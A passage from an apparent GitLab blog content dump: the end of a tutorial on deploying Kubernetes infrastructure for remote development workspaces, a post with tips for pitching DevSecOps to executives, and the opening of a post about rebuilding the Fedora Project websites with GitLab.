PORTS     AGE\ngitlab-workspaces-proxy   nginx   remote-dev.dev,*.remote-dev.dev             80, 443   9s\n```\n\n### Agent for Kubernetes installation\nCreate the agent configuration file in `.gitlab/agents/\u003Cagentname>/config.yaml`, add to git, and push it into the repository. The `remote_development` key specifies the `dns_zone`, which must be set to the workspaces domain. Additionally, the integration needs to be enabled. The `observability` key intentionally configures [debug logging](https://docs.gitlab.com/ee/user/clusters/agent/work_with_agent.html#debug-the-agent) for the first setup to troubleshoot faster. You can adjust the `logging` levels for production usage.\n\n```shell\nexport GL_AGENT_K8S=remote-dev-dev\n\n$ mkdir agent-kubernetes && cd agent-kubernetes\n$ mkdir -p .gitlab/agents/${GL_AGENT_K8S}/\n\n$ cat \u003C\u003CEOF >.gitlab/agents/${GL_AGENT_K8S}/config.yaml\nremote_development:\n    enabled: true\n    dns_zone: \"${GITLAB_WORKSPACES_PROXY_DOMAIN}\"\n\nobservability:\n  logging:\n    level: debug\n    grpc_level: warn\nEOF\n\n$ git add .gitlab/agents/${GL_AGENT_K8S}/config.yaml\n$ git commit -avm \"Add agent for Kubernetes configuration\"\n# adjust the URL to your GitLab server URL and project path\n$ git remote add origin https://gitlab.example.com/remote-dev-workspaces/agent-kubernetes.git\n# will create a private project when https/PAT is used\n$ git push\n```\n\nOpen the GitLab project in your browser, navigate into `Operate > Kubernetes Clusters`, and click the `Connect a new cluster (agent)` button. Select the agent from the configuration dropdown, and click `Register`. The form generates a ready-to-use Helm chart CLI command. Similar to the command below, replace `XXXXXXXXXXREPLACEME` with the actual token value.\n\n```shell\nhelm repo add gitlab https://charts.gitlab.io\nhelm repo update\nhelm upgrade --install remote-dev-dev gitlab/gitlab-agent \\\n    --namespace gitlab-agent-remote-dev-dev \\\n    --create-namespace \\\n    --set image.tag=v16.0.1 \\\n    --set config.token=XXXXXXXXXXREPLACEME \\\n    --set config.kasAddress=wss://kas.gitlab.com # Replace with your self-managed GitLab KAS instance URL if not using GitLab.com SaaS\n```\n\nRun the commands, and verify that the agent is connected in the `Operate > Kubernetes Clusters` overview. You can access the pod logs using the following command:\n\n```shell\n$ kubectl get ns\nNAME                          STATUS   AGE\ngitlab-agent-remote-dev-dev   Active   9d\ngitlab-workspaces             Active   22d\n...\n\n$ kubectl logs -f -l app.kubernetes.io/name=gitlab-agent -n gitlab-agent-$GL_AGENT_K8S\n```\n\n_Congrats! Your infrastructure setup for on-demand, cloud-based development environments is complete._\n\n## Workspaces creation\nAfter completing the infrastructure setup, you must verify that all components work together and users can create workspaces. You can fork or import the [`example-python-http-simple` project](https://gitlab.com/gitlab-de/use-cases/remote-development/example-python-http-simple) into your GitLab group with access to the GitLab agent for Kubernetes to try it immediately. The project provides a simple Python web app with Flask that provides different HTTP routes. Alternatively, start with a new project and create a `.devfile.yaml` with the [example configuration](https://docs.gitlab.com/ee/user/workspace/#example-configurations).\n\nOptional: Inspect the [`.devfile.yaml`](https://docs.gitlab.com/ee/user/workspace/#devfile) file to learn about the configuration format. We will look into the `image` key later.\n\n```yaml\nschemaVersion: 2.2.0\ncomponents:\n  - name: py\n    attributes:\n      gl/inject-editor: true\n    container:\n      # Use a custom image that supports arbitrary user IDs.\n      # NOTE: THIS IMAGE IS NOT ACTIVELY MAINTAINED. DEMO USE CASES ONLY, DO NOT USE IN PRODUCTION.\n      # Source: https://gitlab.com/gitlab-de/use-cases/remote-development/container-images/python-remote-dev-workspaces-user-id\n      image: registry.gitlab.com/gitlab-de/use-cases/remote-development/container-images/python-remote-dev-workspaces-user-id:latest\n      memoryRequest: 1024M\n      memoryLimit: 2048M\n      cpuRequest: 500m\n      cpuLimit: 1000m\n      endpoints:\n        - name: http-python\n          targetPort: 8080\n```\n\n### Create the first workspaces\nNavigate to the `Your Work > Workspaces` menu and create a new workspace. Search for the project name, select the agent for Kubernetes, and create the workspace.\n\n![GitLab remote development workspaces, Python example](https://about.gitlab.com/images/blogimages/infrastructure-cloud-development-environments/gitlab_remote_dev_workspaces_python.png){: .shadow}\n\nOpen two terminals to follow the workspaces proxy and agent logs in the Kubernetes cluster.\n\n```shell\n$ kubectl logs -f -l app.kubernetes.io/name=gitlab-workspaces-proxy -n gitlab-workspaces\n\n{\"level\":\"info\",\"ts\":1686331102.886607,\"caller\":\"server/server.go:74\",\"msg\":\"Starting proxy server...\"}\n{\"level\":\"info\",\"ts\":1686331133.146862,\"caller\":\"upstream/tracker.go:47\",\"msg\":\"New upstream added\",\"host\":\"8080-workspace-62029-5534214-2vxdxq.remote-dev.dev\",\"backend\":\"workspace-62029-5534214-2vxdxq.gl-rd-ns-62029-5534214-2vxdxq\",\"backend_port\":8080}\n2023/06/09 17:21:10 getHostnameFromState state=https://60001-workspace-62029-5534214-2vxdxq.remote-dev.dev/folder=/projects/demo-python-http-simple\n```\n\n```shell\n$ kubectl logs -f -l app.kubernetes.io/name=gitlab-agent -n gitlab-agent-$GL_AGENT_K8S\n\n{\"level\":\"debug\",\"time\":\"2023-06-09T18:36:19.839Z\",\"msg\":\"Applied event\",\"mod_name\":\"remote_development\",\"apply_event\":\"WaitEvent{ GroupName: \\\"wait-0\\\", Status: \\\"Pending\\\", Identifier: \\\"gl-rd-ns-62029-5534214-k66cjy_workspace-62029-5534214-k66cjy-gl-workspace-data__PersistentVolumeClaim\\\" }\",\"agent_id\":62029}\n{\"level\":\"debug\",\"time\":\"2023-06-09T18:36:19.866Z\",\"msg\":\"Received update event\",\"mod_name\":\"remote_development\",\"workspace_namespace\":\"gl-rd-ns-62029-5534214-k66cjy\",\"workspace_name\":\"workspace-62029-5534214-k66cjy\",\"agent_id\":62029}\n{\"level\":\"debug\",\"time\":\"2023-06-09T18:36:43.627Z\",\"msg\":\"Applied event\",\"mod_name\":\"remote_development\",\"apply_event\":\"WaitEvent{ GroupName: \\\"wait-0\\\", Status: \\\"Successful\\\", Identifier: \\\"gl-rd-ns-62029-5534214-k66cjy_workspace-62029-5534214-k66cjy_apps_Deployment\\\" }\",\"agent_id\":62029}\n```\n\nWait until the workspace is provisioned successfully, and click to open the HTTP URL, example format `https://60001-workspace-62029-5534214-2vxdxq.remote-dev.dev/?folder=%2Fprojects%2Fexample-python-http-simple`. The GitLab OAuth application will ask you for authorization.\n\n![GitLab OAuth provider app, example with the Developer Evangelism demo environment](https://about.gitlab.com/images/blogimages/infrastructure-cloud-development-environments/gitlab_remote_dev_workspaces_oauth_app.png){: .shadow}\n\nYou can select the Web IDE menu, open a new terminal (`cmd shift p` and search for `terminal create`). More shortcuts and Web IDE usage are documented [here](https://docs.gitlab.com/ee/user/project/web_ide/).\n\n![GitLab remote development workspaces, Python example, create terminal](https://about.gitlab.com/images/blogimages/infrastructure-cloud-development-environments/gitlab_remote_dev_workspaces_python_web_ide_create_terminal.png){: .shadow}\n\nUsing the Python example project, try to run the `hello.py` file with the Python interpreter after changing the terminal to `bash` to access auto-completion and shell history. Type `pyth`, press tab, type `hel`, press tab, enter.\n\n```shell\n$ bash\n\n$ python hello.py\n```\n\nThe command will fail because the Python requirements still need to be installed. Let us fix that by running the following command:\n\n```shell\n$ pip install -r requirements.txt\n```\n\n![GitLab remote development workspaces, Python example, install requirements in the terminal](https://about.gitlab.com/images/blogimages/infrastructure-cloud-development-environments/gitlab_remote_dev_workspaces_python_web_ide_terminal_install_pip.png){: .shadow}\n\n**Note**: This example is intentionally kept simple, and does not use best practices with `pyenv` for managing Python environments. We will explore development environment templates in future blog posts.\n\nRun the Python application `hello.py` again to start the web server on port 8080.\n\n```shell\n$ python hello.py\n```\n\nYou can access the exposed port by modifying the URL from the default port at the beginning of the URL to the exposed port `8080`. The `?folder` URL parameter can also be removed.\n\n```diff\n-https://60001-workspace-62029-5534214-kbtcmq.remote-dev.dev/?folder=/projects/example-python-http-simple\n+https://8080-workspace-62029-5534214-kbtcmq.remote-dev.dev/\n```\n\nThe URL is not publicly available and requires access through the GitLab OAuth session.\n\n![GitLab remote development workspaces, Python example, run webserver, access HTTP](https://about.gitlab.com/images/blogimages/infrastructure-cloud-development-environments/gitlab_remote_dev_workspaces_python_web_ide_terminal_run_webserver_access_http.png){: .shadow}\n\nModifying the workspace requires custom container images supporting to run with [arbitrary user IDs](https://docs.gitlab.com/ee/user/workspace/#arbitrary-user-ids). The example project uses a custom image which allows to install Python dependencies and create build artifacts. It also allows to use the bash terminal shown above. Learn more about custom image creation in the next section.\n\n### Custom workspace container images\nCustom container images require support for [arbitrary user IDs](https://docs.gitlab.com/ee/user/workspace/#arbitrary-user-ids). You can build custom container images with [GitLab CI/CD](/solutions/continuous-integration/) and use the [GitLab container registry](https://docs.gitlab.com/ee/user/packages/container_registry/) to distribute the container images on the DevSecOps platform.\n\nWorkspaces run with arbitrary user IDs in the Kubernetes cluster containers and manage resource access with Linux group permissions. Existing container images may need to be changed, and imported as base image for new container images. The [following example](https://gitlab.com/gitlab-de/use-cases/remote-development/container-images/python-remote-dev-workspaces-user-id/-/blob/main/Dockerfile) uses the `python:3.11-slim-bullseye` image from Docker Hub as a base container image in the `FROM` key. The next steps create and set a home directory in `/home/gitlab-workspaces`, and manage user and group access to specified directories. Additionally, you can install more convenience tools and configurations into the image, for example the `git` package.\n\n[`Dockerfile`](https://gitlab.com/gitlab-de/use-cases/remote-development/container-images/python-remote-dev-workspaces-user-id/-/blob/main/Dockerfile)\n```\n# Example demo for a Python-based container image.\n# NOTE: THIS IMAGE IS NOT ACTIVELY MAINTAINED. DEMO USE CASES ONLY, DO NOT USE IN PRODUCTION.\n\nFROM python:3.11-slim-bullseye\n\n# User id for build time. Runtime will be an arbitrary random ID.\nRUN useradd -l -u 33333 -G sudo -md /home/gitlab-workspaces -s /bin/bash -p gitlab-workspaces gitlab-workspaces\n\nENV HOME=/home/gitlab-workspaces\n\nWORKDIR $HOME\n\nRUN mkdir -p /home/gitlab-workspaces && chgrp -R 0 /home && chmod -R g=u /etc/passwd /etc/group /home\n\n# TODO: Add more convenience tools into the user home directory, i.e. enable color prompt for the terminal, install pyenv to manage Python environments, etc\nRUN apt update && \\\n    apt -y --no-install-recommends install git procps findutils htop vim curl wget && \\\n    rm -rf /var/lib/apt/lists/*\n\nUSER gitlab-workspaces\n```\n\n **As an exercise**, [fork the project](https://gitlab.com/gitlab-de/use-cases/remote-development/container-images/python-remote-dev-workspaces-user-id) and modify the package installation step in the `Dockerfile` file to install the `dnsutils` package on the Debian based image to get access to the `dig` command.\n\n[`Dockerfile`](https://gitlab.com/gitlab-de/use-cases/remote-development/container-images/python-remote-dev-workspaces-user-id/-/blob/main/Dockerfile)\n```diff\n-RUN apt update && \\\n-    apt -y --no-install-recommends install git procps findutils htop vim curl wget && \\\n-    rm -rf /var/lib/apt/lists/*\n+RUN apt update && \\\n+    apt -y --no-install-recommends install git procps findutils htop vim curl wget dnsutils && \\\n+    rm -rf /var/lib/apt/lists/*\n```\n\n[Build the container image](https://docs.gitlab.com/ee/ci/docker/using_docker_build.html) with your preferred CI/CD workflow. On GitLab.com SaaS, you can include the `Docker.gitlab-ci.yml` template which takes care of building the image.\n\n```yaml\ninclude:\n    - template: Docker.gitlab-ci.yml\n```\n\nWhen building the container images manually, use Linux and `amd64` as platform architecture [until multi-architecture support is available for running workspaces](https://gitlab.com/groups/gitlab-org/-/epics/10594). Also, review the [optimizing images guide in the documentation](https://docs.gitlab.com/ee/ci/pipelines/pipeline_efficiency.html#optimize-docker-images) when creating custom container images to optimize size and build times.\n\nNavigate into `Deploy > Container Registry` in the GitLab UI and copy the image URL from the tagged image. Open the `.devfile.yaml` file in the forked GitLab project `example-python-http-simple`, and change the `image` path to the newly built image URL.\n\n[`.devfile.yaml`](https://gitlab.com/gitlab-de/use-cases/remote-development/example-python-http-simple/-/blob/main/.devfile.yaml)\n```diff\n-      image: registry.gitlab.com/gitlab-de/use-cases/remote-development/container-images/python-remote-dev-workspaces-user-id:latest\n+      image: registry.gitlab.example.com/remote-dev-workspaces/python-remote-dev-workspaces-user-id:latest\n```\n\nNavigate into `Your Work > Workspaces` and create a new workspace for the project, and try to execute the `dig` command to query the IPv6 address of GitLab.com (or any other internal domain).\n\n```shell\n$ dig +short gitlab.com AAAA\n```\n\nThe custom container image project is located [here](https://gitlab.com/gitlab-de/use-cases/remote-development/container-images/python-remote-dev-workspaces-user-id/).\n\n## Tips\nThis blog post's setup steps with environment variables are easy to follow. For production usage, use automation to manage your environment with Terraform, Ansible, etc.\n\n- Terraform: [Provision a GKE Cluster (Google Cloud)](https://developer.hashicorp.com/terraform/tutorials/kubernetes/gke), [Provision an EKS Cluster (AWS)](https://developer.hashicorp.com/terraform/tutorials/kubernetes/eks), [Provision an AKS Cluster (Azure)](https://developer.hashicorp.com/terraform/tutorials/kubernetes/aks), [Deploy Applications with the Helm Provider](https://developer.hashicorp.com/terraform/tutorials/kubernetes/helm-provider)\n- Ansible: [google.cloud.gcp_container_cluster module](https://docs.ansible.com/ansible/latest/collections/google/cloud/gcp_container_cluster_module.html), [community.aws.eks_cluster module](https://docs.ansible.com/ansible/latest/collections/community/aws/eks_cluster_module.html), [azure.azcollection.azure_rm_aks module](https://docs.ansible.com/ansible/latest/collections/azure/azcollection/azure_rm_aks_module.html), [kubernetes.core collection](https://docs.ansible.com/ansible/latest/collections/kubernetes/core/index.html#plugin-index)\n\n### Certificate management\nThe workspaces domain requires a valid TLS certificate. The examples above used certbot with Let's Encrypt, requiring a certificate renewal after three months. Depending on your corporate requirements, you may need to create TLS certificates signed by the corporate CA identity and manage the certificates. Alternatively, you can look into solutions like [cert-manager for Kubernetes](https://cert-manager.io/docs/getting-started/) that will help renew certificates automatically.\n\nDo not forget to add TLS certificate validity monitoring to avoid unforeseen errors. The [blackbox exporter for Prometheus](https://github.com/prometheus/blackbox_exporter) can help with monitoring TLS certificate expiry and send alerts.\n\n### Troubleshooting\nHere are a few tips for troubleshooting connections and inspecting the cluster resources.\n\n#### Verify the connections\nTry to connect to the workspaces domain to see whether the Kubernetes Ingress controller responds to HTTP requests.\n\n```shell\n$ curl -vL ${GITLAB_WORKSPACES_PROXY_DOMAIN}\n```\n\nInspect the logs of the proxy deployment to follow connection requests. Since the proxy requires an authorization token sent via the OAuth app, an HTTP 400 error is expected for unauthenticated curl requests.\n\n```shell\n$ kubectl logs -f -l app.kubernetes.io/name=gitlab-workspaces-proxy -n gitlab-workspaces\n```\n\nCheck if the TLS certificate is valid. You can also use `sslcan` and other tools.\n\n```shell\n$ openssl s_client -connect ${GITLAB_WORKSPACES_PROXY_DOMAIN}:443\n\n$ sslcan ${GITLAB_WORKSPACES_PROXY_DOMAIN}\n```\n\n[Debug the agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/work_with_agent.html#debug-the-agent) and inspect the pod logs.\n\n```shell\n$ kubectl get ns\n\n$ kubectl logs -f -l app.kubernetes.io/name=gitlab-agent -n gitlab-agent-\u003CNAMESPACENAME>\n```\n\n#### Workspaces cannot be created even if the agent is connected\nWhen the workspaces deployment is spinning and nothing happens, try restarting the workspaces proxy and agent for Kubernetes. This is a known problem and tracked [in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/414399#note_1426652421).\n\n```shell\n$ kubectl rollout restart deployment -n gitlab-workspaces\n\n$ kubectl rollout restart deployment -n gitlab-agent-$GL_AGENT_K8S\n```\n\nIf the agent for Kubernetes remains unresponsive, consider a complete reinstall. First, navigate into the GitLab UI into `Operate > Kubernetes Clusters` and [delete the agent](https://docs.gitlab.com/ee/user/clusters/agent/work_with_agent.html#remove-an-agent-through-the-gitlab-ui). Next, use the following commands to delete the Helm release from the cluster, and run the installation command generated from the UI again.\n\n```shell\nkubectl get ns\nhelm list -A\n\nexport RELEASENAME=xxx\nexport NAMESPACENAME=xxx\nexport TOKEN=XXXXXXXXXXREPLACEME\nhelm uninstall ${RELEASENAME} -n gitlab-agent-${NAMESPACENAME}\n\nhelm repo add gitlab https://charts.gitlab.io\nhelm repo update\n\nhelm upgrade --install ${RELEASENAME} gitlab/gitlab-agent \\\n    --namespace gitlab-agent-${NAMESPACENAME} \\\n    --create-namespace \\\n    --set image.tag=v16.1.2 \\\n    --set config.token=${TOKEN} \\\n    --set config.kasAddress=wss://kas.gitlab.com # Replace with your self-managed GitLab KAS instance URL if not using GitLab.com SaaS\n```\n\nExample: `helm uninstall remote-dev-dev -n gitlab-agent-remote-dev-dev`\n\n#### Cannot modify workspace using custom images\nIf you cannot modify the workspace, open a new terminal and check the user id and their groups.\n\n```shell\n$ id\n```\n\nInspect the `.devfile.yaml` file in the project and extract the `image` attribute to test the used container image. You can use container CLI, for example `docker` that runs the container with a different user ID. Note: You can use any user ID to test the behavior.\n\nTip: Use grep and cut commands to extract the image attribute URL from the `.devfile.yaml`.\n\n```shell\n$ cat .devfile.yaml | grep image: | cut -f2 -d ':')\n```\n\nRun the following command to execute the `id` command in the container, and print the user information.\n\n```\n$ docker run -u 1234 -ti registry.gitlab.com/path/to/project/image:tagname id\n```\n\nTry to modify the workspace by running the command `echo 'Hi' >> ~/example.md`. This can fail with a permission error.\n\n```shell\n$ docker run -u 1234 -ti registry.gitlab.com/path/to/project/image:tagname echo 'Hi' >> ~/example.md\n```\n\nIf the above command failed, the Linux user group does not have enough permissions to modify the file. You can view the permissions using the `ls` command.\n\n```shell\n$ docker run -u 1234 -ti registry.gitlab.com/path/to/project/image:tagname ls -lart ~/\n```\n\n### Contribute\nThe [remote development developer documentation](https://gitlab.com/gitlab-org/remote-development/gitlab-remote-development-docs) provides insights into the [architecture blueprint](https://docs.gitlab.com/ee/architecture/blueprints/remote_development/) and how to set up a local development environment to [start contributing](/community/contribute/). In the future, we will be able to use remote development workspaces to develop remote development workspaces.\n\n## Share your feedback\nIn this blog post, you have learned how to manage the infrastructure for remote development workspaces, create your first workspace, and more tips on custom workspace images and troubleshooting. Using the same development environment across organizations and communities, developers can focus on writing code and get fast preview feedback (i.e., by running a web server that can be accessed externally in the remote workspace). Providing the same reproducible environment also helps opensource contributors to reproduce bugs and provide feedback most efficiently. They can use the same best practices as upstream maintainers.\n\nDevelopers and DevOps engineers will be using the Web IDE in workspaces. Later, being able to [connect their desktop client to workspaces](https://gitlab.com/groups/gitlab-org/-/epics/10478), they can take advantage of even more efficiency with the [most comprehensive AI-powered DevSecOps platform](/gitlab-duo/): Code suggestions and more AI-powered workflows are just one fingertip away.\n\nWhat will your teams build with remote development workspaces? Please share your experiences in the [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/410031), blog about your setup, and join our [community forum](https://forum.gitlab.com/) for more discussions.\n\nCover image by [Nick Karvounis](https://unsplash.com/@nickkarvounis) on [Unsplash](https://unsplash.com/photos/SmIM3m8f3Pw)",[479,7715,4103,1444,3949],{"slug":9319,"featured":6,"template":678},"set-up-infrastructure-for-cloud-development-environments","content:en-us:blog:set-up-infrastructure-for-cloud-development-environments.yml","Set Up Infrastructure For Cloud Development Environments","en-us/blog/set-up-infrastructure-for-cloud-development-environments.yml","en-us/blog/set-up-infrastructure-for-cloud-development-environments",{"_path":9325,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9326,"content":9332,"config":9337,"_id":9339,"_type":16,"title":9340,"_source":17,"_file":9341,"_stem":9342,"_extension":20},"/en-us/blog/7-tips-on-how-to-successfully-talk-to-execs-about-devsecops",{"title":9327,"description":9328,"ogTitle":9327,"ogDescription":9328,"noIndex":6,"ogImage":9329,"ogUrl":9330,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9330,"schema":9331},"7 tips on how to successfully talk to execs about DevSecOps","If you want to begin using DevSecOps to improve software development, you need to get business executives behind your plan. Here are tips to do just that.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670694/Blog/Hero%20Images/how-to-keep-remote-teams-engaged-cover.jpg","https://about.gitlab.com/blog/7-tips-on-how-to-successfully-talk-to-execs-about-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"7 tips on how to successfully talk to execs about DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2023-07-12\",\n      }",{"title":9327,"description":9328,"authors":9333,"heroImage":9329,"date":9334,"body":9335,"category":962,"tags":9336},[3907],"2023-07-12","\nIf you want to begin using DevSecOps to speed, secure, and improve software development, you need to get business executives behind your plan. But talking with leadership – especially C-suite executives – isn’t always easy.\n\nSoftware development teams want to use DevSecOps because it will reduce hands-on work, make the development process more efficient, [foster collaboration](/blog/5-ways-collaboration-boosts-productivity-and-your-career/), [improve security](/blog/how-to-strengthen-security-by-applying-devsecops-principles/), and speed development and deployment. Getting executives to understand how that all translates into [business benefits](/blog/five-essential-business-benefits-a-devops-platform-gives-smbs/) is the key here. That’s what will spur them to OK a DevSecOps adoption.\n\n> **Be sure to download our latest guide *[How to drive business success with DevSecOps](https://page.gitlab.com/resources-ebook-devsecops-success.html?utm_campaign=devsecopsplat&utm_content=ebookdevsecopssuccess)* for more advice.**\n\nTo help executives understand the technical and business benefits of [DevSecOps](/blog/its-time-to-put-the-sec-in-devsecops/) there are pitfalls you’ll need to avoid, as well as things you should make sure you do and discuss. Let’s dive into 7 things to consider right from the start.\n\n## 1. Know your audience\nEveryone is different. Some executives want every little detail. Others want a quick overview. And if, for instance, you’re talking with a CEO, focus on reducing costs and how more efficient and faster production can boost revenue and improve time to market. For CIOs, focus on productivity and efficiency. Tell them how automation and artificial intelligence (AI) features will save teams time and hands-on work.\n\n## 2. Find a champion \nIf you’re going to be walking into a boardroom packed with C-suite executives or having a small meeting with a CEO, it helps to have backup. Find an executive who knows the language of business and key business drivers and pitch the idea of using DevSecOps to get her backing. Then she can help you make the pitch to other executives.\n\n## 3. Make sure you have a plan \nBefore talking to an executive, you first need to draft a plan. Create a basic outline that gives you guidance about the key points to touch on, but also leaves room to take questions and feedback. Make sure you listen as much as you talk. Meetings are learning opportunities.\n\n## 4. Don’t geek out on the tech\nRemember that you are talking to business people. It’s easy for a technical person to fall back on using technical lingo and talking about the excitement of using the shiniest tools. But that’s not going to get someone far with most executives. Even a CTO, who is a technical person, is focused on the business – and how any technology is going to support that business or weigh it down. Don't use technical jargon or acronyms. Convey engineering objectives into a language of profit and loss. Tell execs why migrating to a DevSecOps platform will make the software development team, and the company as a whole, more successful. \n\n## 5. Do your homework\nIf you work for a public company, listen to the quarterly reports to learn about immediate business objectives and long-term strategic goals. Have a coffee chat with or shadow someone who works in financial planning, analysis, and/or accounting. Learn from your colleagues how the company makes money and what its business needs are. Understand challenges, like security issues, [compliance issues](/blog/top-5-compliance-features-to-leverage-in-gitlab/), or competitors coming out with new features faster. Then address those challenges. Make sure your presentation focuses on the company’s specific needs and any potential future challenges. \n\n“I would recommend always starting by figuring out the business needs first,” says [Fatima Sarah Khalid](https://gitlab.com/sugaroverflow), developer evangelist at GitLab. “How does this bring value to the organization’s customers and how does this impact the company? Will it save money, unlock a new customer segment, open up new channels, or boost production and efficiency? These are the kind of strategic levers that are most helpful for leadership to hear.”\n\n## 6. Focus on benefits to the executives\nOf course, executives will want to know how DevSecOps will benefit the business that they’re running, but they’ll also want to know how it can benefit them and the specific job they’re doing. Let executives know that a DevSecOps platform will give them visibility into the entire software development lifecycle so they can see where projects slow down or progress, giving them more insight and control. And make it clear that an end-to-end platform fosters a culture where everyone, from customer service to marketing and the C-suite, can collaborate.\n\n## 7. Don’t forget the money\nAs you plan out what to talk about with executives and what business challenges to focus on, remember that money always has to be part of the conversation. Since you likely will be reducing a complex and costly toolchain with the adoption of a DevSecOps platform, estimate the savings in both cost and time that will come from cutting that toolchain. Point out the savings, in terms of money and brand image, by reducing security vulnerabilities. Management also is going to want you to estimate how much it will cost to migrate to a platform, along with the human hours needed, and an adoption timeline.\n\n“Tech people can never forget that executives are very focused on ROI,” says [Ayoub Fandi](https://gitlab.com/ayofan), senior field security engineer at GitLab. “It’s always a central issue. They need to understand if any decision will bring them closer to their business goals. Adopting a DevSecOps platform can be a massive cost reduction. Each year companies spend more money on IT so if they can learn a way to spend less, it’ll be very welcome information.”\n\nRemember that leadership likely is looking for reasons to say yes. You just need to provide them with those reasons – and make sure they’re solid business reasons. Make it clear what an adoption will look like in practice. Show them [case studies](/customers/) of other companies that have made the move. \n\nAnd the impact of enabling executives to understand the benefits of DevSecOps go beyond a single adoption. Learning how to understand an organization’s business needs and strategy, and learning the language of business are [great skills for anyone in tech](/blog/best-advice-for-your-devops-career-keep-on-learning/) to have. Continuing to educate yourself and pursuing knowledge on the business side are top ways to increase your standing in your company, your hireability, and [your paycheck](/blog/four-tips-to-increase-your-devops-salary/).\n\nGet even more advice in our our latest guide *[How to drive business success with DevSecOps](https://page.gitlab.com/resources-ebook-devsecops-success.html?utm_campaign=devsecopsplat&utm_content=ebookdevsecopssuccess)*, available for download now.\n",[943,2368,7715],{"slug":9338,"featured":6,"template":678},"7-tips-on-how-to-successfully-talk-to-execs-about-devsecops","content:en-us:blog:7-tips-on-how-to-successfully-talk-to-execs-about-devsecops.yml","7 Tips On How To Successfully Talk To Execs About Devsecops","en-us/blog/7-tips-on-how-to-successfully-talk-to-execs-about-devsecops.yml","en-us/blog/7-tips-on-how-to-successfully-talk-to-execs-about-devsecops",{"_path":9344,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9345,"content":9351,"config":9358,"_id":9360,"_type":16,"title":9361,"_source":17,"_file":9362,"_stem":9363,"_extension":20},"/en-us/blog/building-new-fedora-project-website-with-gitlab",{"title":9346,"description":9347,"ogTitle":9346,"ogDescription":9347,"noIndex":6,"ogImage":9348,"ogUrl":9349,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9349,"schema":9350},"How GitLab helped Fedora build websites and community","Learn how the Fedora Project recently modernized its web development practices and streamlined team workflows with GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682851/Blog/Hero%20Images/communityhands.jpg","https://about.gitlab.com/blog/building-new-fedora-project-website-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How building modern websites with GitLab led to a healthier Fedora Project community\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Akashdeep Dhar\"}],\n        \"datePublished\": \"2023-07-11\",\n      }",{"title":9352,"description":9347,"authors":9353,"heroImage":9348,"date":9355,"body":9356,"category":813,"tags":9357},"How building modern websites with GitLab led to a healthier Fedora Project community",[9354],"Akashdeep Dhar","2023-07-11","\nWhen [Fedora Linux 38](https://fedoraproject.org/) debuted in April 2023, the Fedora Project community and I had an extra reason to celebrate. The first item in the community's [official release annoucement](https://fedoramagazine.org/announcing-fedora-38/) was one we were extremely proud of: our brand-new Fedora Project websites.\n\nThe launch of the new websites was the culmination of many months of good, old-fashioned community contribution from the \n[Fedora Websites and Apps team](https://gitlab.com/fedora/websites-apps) and other teams such as [Fedora Infrastructure](https://pagure.io/fedora-infrastructure), [Fedora Marketing](https://docs.fedoraproject.org/en-US/marketing/), \n[Fedora Design](https://fedoraproject.org/wiki/Design), and many more teams. This effort didn't just involve the development of the refreshed websites; it also involved rearchitecturing the team's technical stack and aligning our workflows with modern industry's best practices. \n\nIn this article, I will explain how migrating our workflow to GitLab helped us to not only build refreshed websites for the Fedora Project but also reimagine and streamline our community's process for building, maintaining, testing, and deploying them. The result: new workflows that redefine our team's processes to incentivize contribution and avoid the looming threat of potential contributor burnout – not to mention the elegant websites themselves.\n\n## Why we embarked on this effort\nAbout two years ago, four Fedora Project community members ([Ramya Parimi](https://gitlab.com/ramyaparimi), [Nasir Hussain](https://gitlab.com/nasirhm), [Justin W. Flory](https://gitlab.com/jwflory), and [myself](https://gitlab.com/t0xic0der)) were working on a project together when we discovered that only a tiny group of volunteer contributors maintained our websites. We immediately faced a dilemma that's common in many free and open source projects: Should that tiny group disband or disappear, we were at risk of not being able to maintain our websites and applications. Also, we didn't want the volunteer contributors to get burnt out under the constant stress of maintaining these projects. We needed more hands on deck, and we needed them quickly.\n\nSo our former Fedora Community Architect (the position was then called Fedora Community Action and Impact Coordinator, or FCAIC), [Marie Nordin](https://gitlab.com/riecatnor), helped us kickstart a community initiative that inspired us to not only refresh Fedora Project websites and applications but also establish more reliable processes and workflows around them, too.\n\nThat second part is incredibly important. We focused on enhancing the visual appeal and user experience of our websites — diligently adhering to the best accessibility practices, implementing a native dark mode that aligns with the user's system theme, and effectively advocating for our offerings to the best of our abilities (among other things). But we needed to solve the problem of maintainability, too. That would involve addressing some underlying issues that, although they looked deceptively simple on the surface, profoundly influenced the long-term sustainability of the team's work. Our goal was to ensure that even when *we* were not around, contributors who would do this work *after* us would be able to set things up and maintain them in the long run without issue.\n\nTo recruit more contributors, we needed to align the way our team worked with current industry practices. Adopting GitLab helped us do that.\n\n## How GitLab helped simplify, unify, and standardize\nHistorically, the website development team employed a range of tools as part of our workflows. Some we developed internally; others we acquired externally and integrated into our infrastructure. But these tools weren't always compatible with one another, meaning extra effort on our part (establishing a standardized business language for effective communication of work plans, progress obstacles, task updates, etc.). That not only impacted our operational efficiency but also drained our resources (for example, we were dedicating meetings solely to the purpose of ensuring everyone was aligned and understood the processes).\n\nAdopting GitLab helped alleviate that burden, because it's [a single, comprehensive platform](https://about.gitlab.com/stages-devops-lifecycle/). Our team got acclimated to capabilities like creating and tagging issues and epics to organize work, building Kanban boards and Gantt charts to map work-in-progress and construct functional timelines, and incorporating merge requests as progress indicators in a comprehensive project overview. We then understood how the cohesive nature of GitLab's approach to most aspects (if not all) of the software development lifecycle significantly enhanced our distributed team's overall efficiency.\n\nBut we use GitLab for more than just planning and implementation. We completely rewrote the technology stack using industry-standard static site-generating libraries like [NuxtJS](https://v2.nuxt.com/). GitLab's ability to create and deploy static sites helps us automate our deployment workflow. Then we coupled the revamped frontend with the 